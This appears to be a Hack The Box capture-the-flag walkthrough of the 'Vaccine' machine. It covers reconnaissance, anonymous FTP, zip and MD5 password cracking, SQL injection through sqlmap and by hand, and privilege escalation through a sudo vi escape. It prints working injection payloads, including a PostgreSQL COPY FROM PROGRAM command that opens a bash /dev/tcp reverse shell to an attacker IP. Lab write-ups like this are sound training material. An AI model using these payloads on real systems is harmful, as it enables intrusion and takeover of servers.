Enumeration
As usual, we’ll begin with a quick Nmap scan.
┌─[puck@parrot-lt]─[~/htb/vaccine] └──╼ $nmap -sC -sV 10.129.231.5 -oN ports.nmap Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 14:46 CET Nmap scan report for 10.129.231.5 Host is up (0.072s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.151 | Logged in as ftpuser | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA) | 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA) |_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: MegaCorp Login |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds ┌─[puck@parrot-lt]─[~/htb/vaccine]
Let’s FTP in
┌─[puck@parrot-lt]─[~/htb/vaccine] └──╼ $ftp 10.129.231.5 Connected to 10.129.231.5. 220 (vsFTPd 3.0.3) Name (10.129.231.5:puck): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Apr 13 2021 . drwxr-xr-x 2 0 0 4096 Apr 13 2021 .. -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 226 Directory send OK. ftp> mget * mget backup.zip? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for backup.zip (2533 bytes). 226 Transfer complete. 2533 bytes received in 0.00 secs (24.9037 MB/s) ftp>
Trying to unzip the file fails due to being password protected.
We’re going to need to use zip2john in order to crack the password.
zip2john backup.zip > result
cat result
Notice, zip2john doesn’t actually crack the password but gives us the exact file containing the hash that needs to be cracked. Now we need to utilize John the Ripper. The former John command is used to find the file containing the password protecting the rest of the archive while the latter is used to crack a given hash to find the original password.
john result
This gives us the password from the hash located in the file result.
john --show result
This outputs the password from the hash contained within the file result in a nice & clean format.
We can now unzip the archive.
Amazingly, when examining the index.php file, there’s a nested if statement of which the inside if seems to contain a credential check which contains the valid credentials needed to access the website we’ve discovered earlier.
So far we see that a user named admin has the following password: 2cb42f8734ea607eefed3b70af13bbd3 (hashed utilizing MD5).
Let’s run hashcat in order to quickly derive the password.
* notice the m flag is set to tell hashcat that the following hash is MD5. Also, we are passing rockyou.txt as the wordlist for hashcat to use to try to crack the hash.
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt
There we have it. Our password for user admin is qwerty789. Now let’s try to log in to the web page.
Foothold
Now, following the walkthrough from HTB you can use sqlmap to automate the process to determine if this webpage is vulnerable to SQL injections or not.
sqlmap -u 'http://10.129.231.5/dashboard.php?search=any+query' -- cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1"
┌─[✗]─[puck@parrot-lt]─[~/htb/vaccine] └──╼ $sqlmap -u 'http://10.129.231.5/dashboard.php?search=puck' --cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1" --os-shell ___ __H__ ___ ___[)]_____ ___ ___ {1.5.12#stable} |_ -| . [(] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:01:19 /2022-02-15/ [15:01:19] [INFO] testing connection to the target URL [15:01:19] [INFO] testing if the target URL content is stable [15:01:20] [INFO] target URL content is stable [15:01:20] [INFO] testing if GET parameter 'search' is dynamic [15:01:20] [WARNING] GET parameter 'search' does not appear to be dynamic [15:01:20] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL') [15:01:20] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks [15:01:20] [INFO] testing for SQL injection on GET parameter 'search' it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided leven [15:01:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:01:37] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [15:01:37] [INFO] testing 'Generic inline queries' [15:01:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:01:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [15:01:37] [WARNING] time-based comparison requires larger statistical model, please wait......... (done) [15:01:48] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable [15:01:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [15:01:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [15:01:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:01:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:01:48] [WARNING] reflective value(s) found and filtering out [15:01:48] [INFO] target URL appears to have 5 columns in query [15:01:48] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests: --- Parameter: search (GET) Type: stacked queries Title: PostgreSQL > 8.1 stacked queries (comment) Payload: search=puck';SELECT PG_SLEEP(5)-- Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: search=puck' UNION ALL SELECT NULL,(CHR(113)||CHR(120)||CHR(118)||CHR(120)||CHR(113))||(CHR(88)||CHR(99)||CHR(122)||CHR(88)||CHR(105)||CHR(112)||CHR(122)||CHR(90)||CHR(105)||CHR(83)||CHR(82)||CHR(77)||CHR(114)||CHR(71)||CHR(122)||CHR(100)||CHR(118)||CHR(81)||CHR(69)||CHR(109)||CHR(80)||CHR(118)||CHR(74)||CHR(105)||CHR(97)||CHR(69)||CHR(87)||CHR(78)||CHR(84)||CHR(117)||CHR(105)||CHR(113)||CHR(78)||CHR(103)||CHR(82)||CHR(82)||CHR(100)||CHR(121)||CHR(112)||CHR(87))||(CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)),NULL,NULL,NULL-- CBTa --- [15:01:54] [INFO] the back-end DBMS is PostgreSQL web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: PostgreSQL [15:01:55] [INFO] fingerprinting the back-end DBMS operating system [15:01:55] [INFO] the back-end DBMS operating system is Linux [15:01:55] [INFO] testing if current user is DBA [15:01:55] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution [15:01:55] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER os-shell> id do you want to retrieve the command standard output? [Y/n/a] Y command standard output: --- u i --snip-- t ) --- os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
However, it’s better to try to perform SQL injections manually to gain a stronger knowledge of how injections work.
To start, try entering an ‘ into the search box. Hit enter.
You should see a similar message. This proves that SQL injections are possible. I highly recommend using Portswigger.com for their free Web Training Academy. This will greatly enhance your skills when it comes to penetrating websites. I specifically used their SQL cheat sheet to try a variety until I narrowed down a couple that worked for me.
https://portswigger.net/web-security/sql-injection/cheat-sheet
With the wrong number of colums we get an error:
Entering the following into the search bar:
' UNION SELECT NULL, NULL, NULL , NULL, VERSION() --
Using that SQL statement, we see that the backend database for this website is PostgreSQL version 11.5. Let’s go to “Google University” real quick to see what sort of exploits can be used to gain a reverse shell. After some research, we come across an exploit discovered on PostgreSQL version 9.3 that is still alive & well for version 11.5.
* it seems we can use Metasploit but for more of a challenge let’s try to do this on our own
Follow this up by starting a Netcat listener on your own attacking machine.
nc -lvnp 1234
Next, run the following code within the search bar of the target website.
* Be sure to set your own IPv4 address & the correct port. Also, at times I had to log out of the website and log back in while repeating the process to get the connection back. Just look at it as extra practice.
'; CREATE TABLE cmd_exec(cmd_output text); -- '; COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/10.10.14.107/1234 0>&1'''; --
The above snippet essentially tells the backend database to create a new table utilizing a cmd_exe function which then use to initiate a reverse shell.
Now that we are in, let’s dig around. Seeing how we are on a web server’s database, let’s cd over to /var/www/html.
From here we can see a dashboard.php file. If you cat out the file, you’ll find some interesting lines of code.
This first portion above is what has allowed us to exploit the website with SQL injections. I had to research this a bit, but from what I could find it seems user input was being added onto the end of a SQL query which as we can see is not wise.
Also within our code, we see the name of the database as well as our current user’s credentials. Now with that, let’s see if we can become root!
Privilege Escalation
If you run the whoami command you’ll see we are still the user postgres. Our first goal should be to spawn a more interactive shell. Use the following snippet to do so.
python3 -c 'import pty; pty.spawn("/bin/sh")'
* Please note unless you upgrade your shell you will get the error “no tty present and no askpass program specified”.
Running sudo -l we are able to see the privileges the user postgres can run.
At the very bottom, we can see postgres can run the following:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
From here exit vim by entering either of the following:
:!/bin/bash :!/bin/sh :shell
All three of the above commands will tell vim to exit & spawn a new shell which should spawn us as the user root.